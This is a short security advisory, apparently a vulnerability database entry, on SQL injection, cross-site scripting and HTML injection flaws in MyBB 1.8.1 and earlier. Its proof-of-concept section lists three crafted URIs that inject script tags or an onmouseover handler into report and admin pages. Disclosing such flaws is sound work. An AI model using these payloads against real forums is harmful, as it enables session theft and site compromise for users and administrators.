Discussion

MyBB Multiple Security Vulnerabilities

MyBB is prone to the following security vulnerabilities:

1. An SQL-Injection vulnerability
2. Multiple cross-site scripting vulnerabilities
3. An HTML-Injection vulnerability

Exploiting these vulnerabilities could allow an attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user, compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database.

MyBB versions 1.8.1 and prior are vulnerable.

Exploit / POC

MyBB Multiple Security Vulnerabilities

Attackers can use a browser to exploit these issues. To exploit the cross-site scripting issues, an attacker must entice an unsuspecting user into following a malicious URI.

The following example URI's are available:

www.example.com /mybb-1.8.1/report.php?type=XSS%22%3E%3Cscript%3Ealert%28666%29%3C%2fscript%3E&pid=1

www.example.com /mybb-1.8.1/admin/index.php?module=style-templates&action=edit_template&title=calendar"><script>alert(666)</script>&sid=1&expand=1

www.example.com /mybb-1.8.1/admin/index.php?module=config-languages&action=edit&lang=english&editwith=&file=<a onmouseover=alert(666)>woot
